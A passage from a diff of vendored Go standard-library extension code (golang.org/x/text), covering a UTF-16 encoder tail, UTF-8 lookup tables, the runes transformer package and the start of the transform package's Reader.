dst[nDst+0] = uint8(r >> 8)
|
||||
dst[nDst+1] = uint8(r)
|
||||
nDst += 2
|
||||
} else {
|
||||
if nDst+4 > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
r1, r2 := utf16.EncodeRune(r)
|
||||
dst[nDst+0] = uint8(r1 >> 8)
|
||||
dst[nDst+1] = uint8(r1)
|
||||
dst[nDst+2] = uint8(r2 >> 8)
|
||||
dst[nDst+3] = uint8(r2)
|
||||
nDst += 4
|
||||
}
|
||||
nSrc += size
|
||||
}
|
||||
|
||||
if u.endianness == LittleEndian {
|
||||
for i := 0; i < nDst; i += 2 {
|
||||
dst[i], dst[i+1] = dst[i+1], dst[i]
|
||||
}
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package utf8internal contains low-level utf8-related constants, tables, etc.
|
||||
// that are used internally by the text package.
|
||||
package utf8internal
|
||||
|
||||
// The default lowest and highest continuation byte.
|
||||
const (
|
||||
LoCB = 0x80 // 1000 0000
|
||||
HiCB = 0xBF // 1011 1111
|
||||
)
|
||||
|
||||
// Constants related to getting information of first bytes of UTF-8 sequences.
|
||||
const (
|
||||
// ASCII identifies a UTF-8 byte as ASCII.
|
||||
ASCII = as
|
||||
|
||||
// FirstInvalid indicates a byte is invalid as a first byte of a UTF-8
|
||||
// sequence.
|
||||
FirstInvalid = xx
|
||||
|
||||
// SizeMask is a mask for the size bits. Use use x&SizeMask to get the size.
|
||||
SizeMask = 7
|
||||
|
||||
// AcceptShift is the right-shift count for the first byte info byte to get
|
||||
// the index into the AcceptRanges table. See AcceptRanges.
|
||||
AcceptShift = 4
|
||||
|
||||
// The names of these constants are chosen to give nice alignment in the
|
||||
// table below. The first nibble is an index into acceptRanges or F for
|
||||
// special one-byte cases. The second nibble is the Rune length or the
|
||||
// Status for the special one-byte case.
|
||||
xx = 0xF1 // invalid: size 1
|
||||
as = 0xF0 // ASCII: size 1
|
||||
s1 = 0x02 // accept 0, size 2
|
||||
s2 = 0x13 // accept 1, size 3
|
||||
s3 = 0x03 // accept 0, size 3
|
||||
s4 = 0x23 // accept 2, size 3
|
||||
s5 = 0x34 // accept 3, size 4
|
||||
s6 = 0x04 // accept 0, size 4
|
||||
s7 = 0x44 // accept 4, size 4
|
||||
)
|
||||
|
||||
// First is information about the first byte in a UTF-8 sequence.
|
||||
var First = [256]uint8{
|
||||
// 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x00-0x0F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x10-0x1F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x20-0x2F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x30-0x3F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x40-0x4F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x50-0x5F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x60-0x6F
|
||||
as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, as, // 0x70-0x7F
|
||||
// 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x80-0x8F
|
||||
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0x90-0x9F
|
||||
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xA0-0xAF
|
||||
xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xB0-0xBF
|
||||
xx, xx, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xC0-0xCF
|
||||
s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, s1, // 0xD0-0xDF
|
||||
s2, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s3, s4, s3, s3, // 0xE0-0xEF
|
||||
s5, s6, s6, s6, s7, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, xx, // 0xF0-0xFF
|
||||
}
|
||||
|
||||
// AcceptRange gives the range of valid values for the second byte in a UTF-8
|
||||
// sequence for any value for First that is not ASCII or FirstInvalid.
|
||||
type AcceptRange struct {
|
||||
Lo uint8 // lowest value for second byte.
|
||||
Hi uint8 // highest value for second byte.
|
||||
}
|
||||
|
||||
// AcceptRanges is a slice of AcceptRange values. For a given byte sequence b
|
||||
//
|
||||
// AcceptRanges[First[b[0]]>>AcceptShift]
|
||||
//
|
||||
// will give the value of AcceptRange for the multi-byte UTF-8 sequence starting
|
||||
// at b[0].
|
||||
var AcceptRanges = [...]AcceptRange{
|
||||
0: {LoCB, HiCB},
|
||||
1: {0xA0, HiCB},
|
||||
2: {LoCB, 0x9F},
|
||||
3: {0x90, HiCB},
|
||||
4: {LoCB, 0x8F},
|
||||
}
|
||||
+187
@@ -0,0 +1,187 @@
|
||||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package runes
|
||||
|
||||
import (
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// Note: below we pass invalid UTF-8 to the tIn and tNotIn transformers as is.
|
||||
// This is done for various reasons:
|
||||
// - To retain the semantics of the Nop transformer: if input is passed to a Nop
|
||||
// one would expect it to be unchanged.
|
||||
// - It would be very expensive to pass a converted RuneError to a transformer:
|
||||
// a transformer might need more source bytes after RuneError, meaning that
|
||||
// the only way to pass it safely is to create a new buffer and manage the
|
||||
// intermingling of RuneErrors and normal input.
|
||||
// - Many transformers leave ill-formed UTF-8 as is, so this is not
|
||||
// inconsistent. Generally ill-formed UTF-8 is only replaced if it is a
|
||||
// logical consequence of the operation (as for Map) or if it otherwise would
|
||||
// pose security concerns (as for Remove).
|
||||
// - An alternative would be to return an error on ill-formed UTF-8, but this
|
||||
// would be inconsistent with other operations.
|
||||
|
||||
// If returns a transformer that applies tIn to consecutive runes for which
|
||||
// s.Contains(r) and tNotIn to consecutive runes for which !s.Contains(r). Reset
|
||||
// is called on tIn and tNotIn at the start of each run. A Nop transformer will
|
||||
// substitute a nil value passed to tIn or tNotIn. Invalid UTF-8 is translated
|
||||
// to RuneError to determine which transformer to apply, but is passed as is to
|
||||
// the respective transformer.
|
||||
func If(s Set, tIn, tNotIn transform.Transformer) Transformer {
|
||||
if tIn == nil && tNotIn == nil {
|
||||
return Transformer{transform.Nop}
|
||||
}
|
||||
if tIn == nil {
|
||||
tIn = transform.Nop
|
||||
}
|
||||
if tNotIn == nil {
|
||||
tNotIn = transform.Nop
|
||||
}
|
||||
sIn, ok := tIn.(transform.SpanningTransformer)
|
||||
if !ok {
|
||||
sIn = dummySpan{tIn}
|
||||
}
|
||||
sNotIn, ok := tNotIn.(transform.SpanningTransformer)
|
||||
if !ok {
|
||||
sNotIn = dummySpan{tNotIn}
|
||||
}
|
||||
|
||||
a := &cond{
|
||||
tIn: sIn,
|
||||
tNotIn: sNotIn,
|
||||
f: s.Contains,
|
||||
}
|
||||
a.Reset()
|
||||
return Transformer{a}
|
||||
}
|
||||
|
||||
type dummySpan struct{ transform.Transformer }
|
||||
|
||||
func (d dummySpan) Span(src []byte, atEOF bool) (n int, err error) {
|
||||
return 0, transform.ErrEndOfSpan
|
||||
}
|
||||
|
||||
type cond struct {
|
||||
tIn, tNotIn transform.SpanningTransformer
|
||||
f func(rune) bool
|
||||
check func(rune) bool // current check to perform
|
||||
t transform.SpanningTransformer // current transformer to use
|
||||
}
|
||||
|
||||
// Reset implements transform.Transformer.
|
||||
func (t *cond) Reset() {
|
||||
t.check = t.is
|
||||
t.t = t.tIn
|
||||
t.t.Reset() // notIn will be reset on first usage.
|
||||
}
|
||||
|
||||
func (t *cond) is(r rune) bool {
|
||||
if t.f(r) {
|
||||
return true
|
||||
}
|
||||
t.check = t.isNot
|
||||
t.t = t.tNotIn
|
||||
t.tNotIn.Reset()
|
||||
return false
|
||||
}
|
||||
|
||||
func (t *cond) isNot(r rune) bool {
|
||||
if !t.f(r) {
|
||||
return true
|
||||
}
|
||||
t.check = t.is
|
||||
t.t = t.tIn
|
||||
t.tIn.Reset()
|
||||
return false
|
||||
}
|
||||
|
||||
// This implementation of Span doesn't help all too much, but it needs to be
|
||||
// there to satisfy this package's Transformer interface.
|
||||
// TODO: there are certainly room for improvements, though. For example, if
|
||||
// t.t == transform.Nop (which will a common occurrence) it will save a bundle
|
||||
// to special-case that loop.
|
||||
func (t *cond) Span(src []byte, atEOF bool) (n int, err error) {
|
||||
p := 0
|
||||
for n < len(src) && err == nil {
|
||||
// Don't process too much at a time as the Spanner that will be
|
||||
// called on this block may terminate early.
|
||||
const maxChunk = 4096
|
||||
max := len(src)
|
||||
if v := n + maxChunk; v < max {
|
||||
max = v
|
||||
}
|
||||
atEnd := false
|
||||
size := 0
|
||||
current := t.t
|
||||
for ; p < max; p += size {
|
||||
r := rune(src[p])
|
||||
if r < utf8.RuneSelf {
|
||||
size = 1
|
||||
} else if r, size = utf8.DecodeRune(src[p:]); size == 1 {
|
||||
if !atEOF && !utf8.FullRune(src[p:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
}
|
||||
if !t.check(r) {
|
||||
// The next rune will be the start of a new run.
|
||||
atEnd = true
|
||||
break
|
||||
}
|
||||
}
|
||||
n2, err2 := current.Span(src[n:p], atEnd || (atEOF && p == len(src)))
|
||||
n += n2
|
||||
if err2 != nil {
|
||||
return n, err2
|
||||
}
|
||||
// At this point either err != nil or t.check will pass for the rune at p.
|
||||
p = n + size
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (t *cond) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
p := 0
|
||||
for nSrc < len(src) && err == nil {
|
||||
// Don't process too much at a time, as the work might be wasted if the
|
||||
// destination buffer isn't large enough to hold the result or a
|
||||
// transform returns an error early.
|
||||
const maxChunk = 4096
|
||||
max := len(src)
|
||||
if n := nSrc + maxChunk; n < len(src) {
|
||||
max = n
|
||||
}
|
||||
atEnd := false
|
||||
size := 0
|
||||
current := t.t
|
||||
for ; p < max; p += size {
|
||||
r := rune(src[p])
|
||||
if r < utf8.RuneSelf {
|
||||
size = 1
|
||||
} else if r, size = utf8.DecodeRune(src[p:]); size == 1 {
|
||||
if !atEOF && !utf8.FullRune(src[p:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
}
|
||||
if !t.check(r) {
|
||||
// The next rune will be the start of a new run.
|
||||
atEnd = true
|
||||
break
|
||||
}
|
||||
}
|
||||
nDst2, nSrc2, err2 := current.Transform(dst[nDst:], src[nSrc:p], atEnd || (atEOF && p == len(src)))
|
||||
nDst += nDst2
|
||||
nSrc += nSrc2
|
||||
if err2 != nil {
|
||||
return nDst, nSrc, err2
|
||||
}
|
||||
// At this point either err != nil or t.check will pass for the rune at p.
|
||||
p = nSrc + size
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
+355
@@ -0,0 +1,355 @@
|
||||
// Copyright 2014 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package runes provide transforms for UTF-8 encoded text.
|
||||
package runes // import "golang.org/x/text/runes"
|
||||
|
||||
import (
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
// A Set is a collection of runes.
|
||||
type Set interface {
|
||||
// Contains returns true if r is contained in the set.
|
||||
Contains(r rune) bool
|
||||
}
|
||||
|
||||
type setFunc func(rune) bool
|
||||
|
||||
func (s setFunc) Contains(r rune) bool {
|
||||
return s(r)
|
||||
}
|
||||
|
||||
// Note: using funcs here instead of wrapping types result in cleaner
|
||||
// documentation and a smaller API.
|
||||
|
||||
// In creates a Set with a Contains method that returns true for all runes in
|
||||
// the given RangeTable.
|
||||
func In(rt *unicode.RangeTable) Set {
|
||||
return setFunc(func(r rune) bool { return unicode.Is(rt, r) })
|
||||
}
|
||||
|
||||
// In creates a Set with a Contains method that returns true for all runes not
|
||||
// in the given RangeTable.
|
||||
func NotIn(rt *unicode.RangeTable) Set {
|
||||
return setFunc(func(r rune) bool { return !unicode.Is(rt, r) })
|
||||
}
|
||||
|
||||
// Predicate creates a Set with a Contains method that returns f(r).
|
||||
func Predicate(f func(rune) bool) Set {
|
||||
return setFunc(f)
|
||||
}
|
||||
|
||||
// Transformer implements the transform.Transformer interface.
|
||||
type Transformer struct {
|
||||
t transform.SpanningTransformer
|
||||
}
|
||||
|
||||
func (t Transformer) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
return t.t.Transform(dst, src, atEOF)
|
||||
}
|
||||
|
||||
func (t Transformer) Span(b []byte, atEOF bool) (n int, err error) {
|
||||
return t.t.Span(b, atEOF)
|
||||
}
|
||||
|
||||
func (t Transformer) Reset() { t.t.Reset() }
|
||||
|
||||
// Bytes returns a new byte slice with the result of converting b using t. It
|
||||
// calls Reset on t. It returns nil if any error was found. This can only happen
|
||||
// if an error-producing Transformer is passed to If.
|
||||
func (t Transformer) Bytes(b []byte) []byte {
|
||||
b, _, err := transform.Bytes(t, b)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// String returns a string with the result of converting s using t. It calls
|
||||
// Reset on t. It returns the empty string if any error was found. This can only
|
||||
// happen if an error-producing Transformer is passed to If.
|
||||
func (t Transformer) String(s string) string {
|
||||
s, _, err := transform.String(t, s)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// TODO:
|
||||
// - Copy: copying strings and bytes in whole-rune units.
|
||||
// - Validation (maybe)
|
||||
// - Well-formed-ness (maybe)
|
||||
|
||||
const runeErrorString = string(utf8.RuneError)
|
||||
|
||||
// Remove returns a Transformer that removes runes r for which s.Contains(r).
|
||||
// Illegal input bytes are replaced by RuneError before being passed to f.
|
||||
func Remove(s Set) Transformer {
|
||||
if f, ok := s.(setFunc); ok {
|
||||
// This little trick cuts the running time of BenchmarkRemove for sets
|
||||
// created by Predicate roughly in half.
|
||||
// TODO: special-case RangeTables as well.
|
||||
return Transformer{remove(f)}
|
||||
}
|
||||
return Transformer{remove(s.Contains)}
|
||||
}
|
||||
|
||||
// TODO: remove transform.RemoveFunc.
|
||||
|
||||
type remove func(r rune) bool
|
||||
|
||||
func (remove) Reset() {}
|
||||
|
||||
// Span implements transform.Spanner.
|
||||
func (t remove) Span(src []byte, atEOF bool) (n int, err error) {
|
||||
for r, size := rune(0), 0; n < len(src); {
|
||||
if r = rune(src[n]); r < utf8.RuneSelf {
|
||||
size = 1
|
||||
} else if r, size = utf8.DecodeRune(src[n:]); size == 1 {
|
||||
// Invalid rune.
|
||||
if !atEOF && !utf8.FullRune(src[n:]) {
|
||||
err = transform.ErrShortSrc
|
||||
} else {
|
||||
err = transform.ErrEndOfSpan
|
||||
}
|
||||
break
|
||||
}
|
||||
if t(r) {
|
||||
err = transform.ErrEndOfSpan
|
||||
break
|
||||
}
|
||||
n += size
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Transform implements transform.Transformer.
|
||||
func (t remove) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
for r, size := rune(0), 0; nSrc < len(src); {
|
||||
if r = rune(src[nSrc]); r < utf8.RuneSelf {
|
||||
size = 1
|
||||
} else if r, size = utf8.DecodeRune(src[nSrc:]); size == 1 {
|
||||
// Invalid rune.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
// We replace illegal bytes with RuneError. Not doing so might
|
||||
// otherwise turn a sequence of invalid UTF-8 into valid UTF-8.
|
||||
// The resulting byte sequence may subsequently contain runes
|
||||
// for which t(r) is true that were passed unnoticed.
|
||||
if !t(utf8.RuneError) {
|
||||
if nDst+3 > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
dst[nDst+0] = runeErrorString[0]
|
||||
dst[nDst+1] = runeErrorString[1]
|
||||
dst[nDst+2] = runeErrorString[2]
|
||||
nDst += 3
|
||||
}
|
||||
nSrc++
|
||||
continue
|
||||
}
|
||||
if t(r) {
|
||||
nSrc += size
|
||||
continue
|
||||
}
|
||||
if nDst+size > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
for i := 0; i < size; i++ {
|
||||
dst[nDst] = src[nSrc]
|
||||
nDst++
|
||||
nSrc++
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Map returns a Transformer that maps the runes in the input using the given
|
||||
// mapping. Illegal bytes in the input are converted to utf8.RuneError before
|
||||
// being passed to the mapping func.
|
||||
func Map(mapping func(rune) rune) Transformer {
|
||||
return Transformer{mapper(mapping)}
|
||||
}
|
||||
|
||||
type mapper func(rune) rune
|
||||
|
||||
func (mapper) Reset() {}
|
||||
|
||||
// Span implements transform.Spanner.
|
||||
func (t mapper) Span(src []byte, atEOF bool) (n int, err error) {
|
||||
for r, size := rune(0), 0; n < len(src); n += size {
|
||||
if r = rune(src[n]); r < utf8.RuneSelf {
|
||||
size = 1
|
||||
} else if r, size = utf8.DecodeRune(src[n:]); size == 1 {
|
||||
// Invalid rune.
|
||||
if !atEOF && !utf8.FullRune(src[n:]) {
|
||||
err = transform.ErrShortSrc
|
||||
} else {
|
||||
err = transform.ErrEndOfSpan
|
||||
}
|
||||
break
|
||||
}
|
||||
if t(r) != r {
|
||||
err = transform.ErrEndOfSpan
|
||||
break
|
||||
}
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Transform implements transform.Transformer.
|
||||
func (t mapper) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
var replacement rune
|
||||
var b [utf8.UTFMax]byte
|
||||
|
||||
for r, size := rune(0), 0; nSrc < len(src); {
|
||||
if r = rune(src[nSrc]); r < utf8.RuneSelf {
|
||||
if replacement = t(r); replacement < utf8.RuneSelf {
|
||||
if nDst == len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
dst[nDst] = byte(replacement)
|
||||
nDst++
|
||||
nSrc++
|
||||
continue
|
||||
}
|
||||
size = 1
|
||||
} else if r, size = utf8.DecodeRune(src[nSrc:]); size == 1 {
|
||||
// Invalid rune.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
|
||||
if replacement = t(utf8.RuneError); replacement == utf8.RuneError {
|
||||
if nDst+3 > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
dst[nDst+0] = runeErrorString[0]
|
||||
dst[nDst+1] = runeErrorString[1]
|
||||
dst[nDst+2] = runeErrorString[2]
|
||||
nDst += 3
|
||||
nSrc++
|
||||
continue
|
||||
}
|
||||
} else if replacement = t(r); replacement == r {
|
||||
if nDst+size > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
for i := 0; i < size; i++ {
|
||||
dst[nDst] = src[nSrc]
|
||||
nDst++
|
||||
nSrc++
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
n := utf8.EncodeRune(b[:], replacement)
|
||||
|
||||
if nDst+n > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
for i := 0; i < n; i++ {
|
||||
dst[nDst] = b[i]
|
||||
nDst++
|
||||
}
|
||||
nSrc += size
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// ReplaceIllFormed returns a transformer that replaces all input bytes that are
|
||||
// not part of a well-formed UTF-8 code sequence with utf8.RuneError.
|
||||
func ReplaceIllFormed() Transformer {
|
||||
return Transformer{&replaceIllFormed{}}
|
||||
}
|
||||
|
||||
type replaceIllFormed struct{ transform.NopResetter }
|
||||
|
||||
func (t replaceIllFormed) Span(src []byte, atEOF bool) (n int, err error) {
|
||||
for n < len(src) {
|
||||
// ASCII fast path.
|
||||
if src[n] < utf8.RuneSelf {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
|
||||
r, size := utf8.DecodeRune(src[n:])
|
||||
|
||||
// Look for a valid non-ASCII rune.
|
||||
if r != utf8.RuneError || size != 1 {
|
||||
n += size
|
||||
continue
|
||||
}
|
||||
|
||||
// Look for short source data.
|
||||
if !atEOF && !utf8.FullRune(src[n:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
|
||||
// We have an invalid rune.
|
||||
err = transform.ErrEndOfSpan
|
||||
break
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
func (t replaceIllFormed) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
|
||||
for nSrc < len(src) {
|
||||
// ASCII fast path.
|
||||
if r := src[nSrc]; r < utf8.RuneSelf {
|
||||
if nDst == len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
dst[nDst] = r
|
||||
nDst++
|
||||
nSrc++
|
||||
continue
|
||||
}
|
||||
|
||||
// Look for a valid non-ASCII rune.
|
||||
if _, size := utf8.DecodeRune(src[nSrc:]); size != 1 {
|
||||
if size != copy(dst[nDst:], src[nSrc:nSrc+size]) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
nDst += size
|
||||
nSrc += size
|
||||
continue
|
||||
}
|
||||
|
||||
// Look for short source data.
|
||||
if !atEOF && !utf8.FullRune(src[nSrc:]) {
|
||||
err = transform.ErrShortSrc
|
||||
break
|
||||
}
|
||||
|
||||
// We have an invalid rune.
|
||||
if nDst+3 > len(dst) {
|
||||
err = transform.ErrShortDst
|
||||
break
|
||||
}
|
||||
dst[nDst+0] = runeErrorString[0]
|
||||
dst[nDst+1] = runeErrorString[1]
|
||||
dst[nDst+2] = runeErrorString[2]
|
||||
nDst += 3
|
||||
nSrc++
|
||||
}
|
||||
return nDst, nSrc, err
|
||||
}
|
||||
+709
@@ -0,0 +1,709 @@
|
||||
// Copyright 2013 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package transform provides reader and writer wrappers that transform the
|
||||
// bytes passing through as well as various transformations. Example
|
||||
// transformations provided by other packages include normalization and
|
||||
// conversion between character sets.
|
||||
package transform // import "golang.org/x/text/transform"
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrShortDst means that the destination buffer was too short to
|
||||
// receive all of the transformed bytes.
|
||||
ErrShortDst = errors.New("transform: short destination buffer")
|
||||
|
||||
// ErrShortSrc means that the source buffer has insufficient data to
|
||||
// complete the transformation.
|
||||
ErrShortSrc = errors.New("transform: short source buffer")
|
||||
|
||||
// ErrEndOfSpan means that the input and output (the transformed input)
|
||||
// are not identical.
|
||||
ErrEndOfSpan = errors.New("transform: input and output are not identical")
|
||||
|
||||
// errInconsistentByteCount means that Transform returned success (nil
|
||||
// error) but also returned nSrc inconsistent with the src argument.
|
||||
errInconsistentByteCount = errors.New("transform: inconsistent byte count returned")
|
||||
|
||||
// errShortInternal means that an internal buffer is not large enough
|
||||
// to make progress and the Transform operation must be aborted.
|
||||
errShortInternal = errors.New("transform: short internal buffer")
|
||||
)
|
||||
|
||||
// Transformer transforms bytes.
|
||||
type Transformer interface {
|
||||
// Transform writes to dst the transformed bytes read from src, and
|
||||
// returns the number of dst bytes written and src bytes read. The
|
||||
// atEOF argument tells whether src represents the last bytes of the
|
||||
// input.
|
||||
//
|
||||
// Callers should always process the nDst bytes produced and account
|
||||
// for the nSrc bytes consumed before considering the error err.
|
||||
//
|
||||
// A nil error means that all of the transformed bytes (whether freshly
|
||||
// transformed from src or left over from previous Transform calls)
|
||||
// were written to dst. A nil error can be returned regardless of
|
||||
// whether atEOF is true. If err is nil then nSrc must equal len(src);
|
||||
// the converse is not necessarily true.
|
||||
//
|
||||
// ErrShortDst means that dst was too short to receive all of the
|
||||
// transformed bytes. ErrShortSrc means that src had insufficient data
|
||||
// to complete the transformation. If both conditions apply, then
|
||||
// either error may be returned. Other than the error conditions listed
|
||||
// here, implementations are free to report other errors that arise.
|
||||
Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error)
|
||||
|
||||
// Reset resets the state and allows a Transformer to be reused.
|
||||
Reset()
|
||||
}
|
||||
|
||||
// SpanningTransformer extends the Transformer interface with a Span method
|
||||
// that determines how much of the input already conforms to the Transformer.
|
||||
type SpanningTransformer interface {
|
||||
Transformer
|
||||
|
||||
// Span returns a position in src such that transforming src[:n] results in
|
||||
// identical output src[:n] for these bytes. It does not necessarily return
|
||||
// the largest such n. The atEOF argument tells whether src represents the
|
||||
// last bytes of the input.
|
||||
//
|
||||
// Callers should always account for the n bytes consumed before
|
||||
// considering the error err.
|
||||
//
|
||||
// A nil error means that all input bytes are known to be identical to the
|
||||
// output produced by the Transformer. A nil error can be returned
|
||||
// regardless of whether atEOF is true. If err is nil, then n must
|
||||
// equal len(src); the converse is not necessarily true.
|
||||
//
|
||||
// ErrEndOfSpan means that the Transformer output may differ from the
|
||||
// input after n bytes. Note that n may be len(src), meaning that the output
|
||||
// would contain additional bytes after otherwise identical output.
|
||||
// ErrShortSrc means that src had insufficient data to determine whether the
|
||||
// remaining bytes would change. Other than the error conditions listed
|
||||
// here, implementations are free to report other errors that arise.
|
||||
//
|
||||
// Calling Span can modify the Transformer state as a side effect. In
|
||||
// effect, it does the transformation just as calling Transform would, only
|
||||
// without copying to a destination buffer and only up to a point it can
|
||||
// determine the input and output bytes are the same. This is obviously more
|
||||
// limited than calling Transform, but can be more efficient in terms of
|
||||
// copying and allocating buffers. Calls to Span and Transform may be
|
||||
// interleaved.
|
||||
Span(src []byte, atEOF bool) (n int, err error)
|
||||
}
|
||||
|
||||
// NopResetter can be embedded by implementations of Transformer to add a nop
|
||||
// Reset method.
|
||||
type NopResetter struct{}
|
||||
|
||||
// Reset implements the Reset method of the Transformer interface.
|
||||
func (NopResetter) Reset() {}
|
||||
|
||||
// Reader wraps another io.Reader by transforming the bytes read.
|
||||
type Reader struct {
|
||||
r io.Reader
|
||||
t Transformer
|
||||
err error
|
||||
|
||||
// dst[dst0:dst1] contains bytes that have been transformed by t but
|
||||
// not yet copied out via Read.
|
||||
dst []byte
|
||||
dst0, dst1 int
|
||||
|
||||
// src[src0:src1] contains bytes that have been read from r but not
|
||||
// yet transformed through t.
|
||||
src []byte
|
||||
src0, src1 int
|
||||
|
||||
// transformComplete is whether the transformation is complete,
|
||||
// regardless of whether or not it was successful.
|
||||
transformComplete bool
|
||||
}
|
||||
|
||||
const defaultBufSize = 4096
|
||||
|
||||
// NewReader returns a new Reader that wraps r by transforming the bytes read
|
||||
// via t. It calls Reset on t.
|
||||
func NewReader(r io.Reader, t Transformer) *Reader {
|
||||
t.Reset()
|
||||
return &Reader{
|
||||
r: r,
|
||||
t: t,
|
||||
dst: make([]byte, defaultBufSize),
|
||||
src: make([]byte, defaultBufSize),
|
||||
}
|
||||
}
|
||||
|
||||
// Read implements the io.Reader interface.
|
||||
func (r *Reader) Read(p []byte) (int, error) {
|
||||
n, err := 0, error(nil)
|
||||
for {
|
||||
// Copy out any transformed bytes and return the final error if we are done.
|
||||
if r.dst0 != r.dst1 {
|
||||
n = copy(p, r.dst[r.dst0:r.dst1])
|
||||
r.dst0 += n
|
||||
if r.dst0 == r.dst1 && r.transformComplete {
|
||||
return n, r.err
|
||||
}
|
||||
return n, nil
|
||||
} else if r.transformComplete {
|
||||
return 0, r.err
|
||||
}
|
||||
|
||||
// Try to transform some source bytes, or to flush the transformer if we
|
||||
// are out of source bytes. We do this even if r.r.Read returned an error.
|
||||
// As the io.Reader documentation says, "process the n > 0 bytes returned
|
||||
// before considering the error".
|
||||
if r.src0 != r.src1 || r.err != nil {
|
||||
r.dst0 = 0
|
||||
r.dst1, n, err = r.t.Transform(r.dst, r.src[r.src0:r.src1], r.err == io.EOF)
|
||||
r.src0 += n
|
||||
|
||||
switch {
|
||||
case err == nil:
|
||||
if r.src0 != r.src1 {
|
||||
r.err = errInconsistentByteCount
|
||||
}
|
||||
// The Transform call was successful; we are complete if we
|
||||
// cannot read more bytes into src.
|
||||
r.transformComplete = r.err != nil
|
||||
continue
|
||||
case err == ErrShortDst && (r.dst1 != 0 || n != 0):
|
||||
// Make room in dst by copying out, and try again.
|
||||
continue
|
||||
case err == ErrShortSrc && r.src1-r.src0 != len(r.src) && r.err == nil:
|
||||
// Read more bytes into src via the code below, and try again.
|
||||
default:
|
||||
r.transformComplete = true
|
||||
// The reader error (r.err) takes precedence over the
|
||||
// transformer error (err) unless r.err is nil or io.EOF.
|
||||
if r.err == nil || r.err == io.EOF {
|
||||
r.err = err
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// Move any untransformed source bytes to the start of the buffer
|
||||
// and read more bytes.
|
||||
if r.src0 != 0 {
|
||||
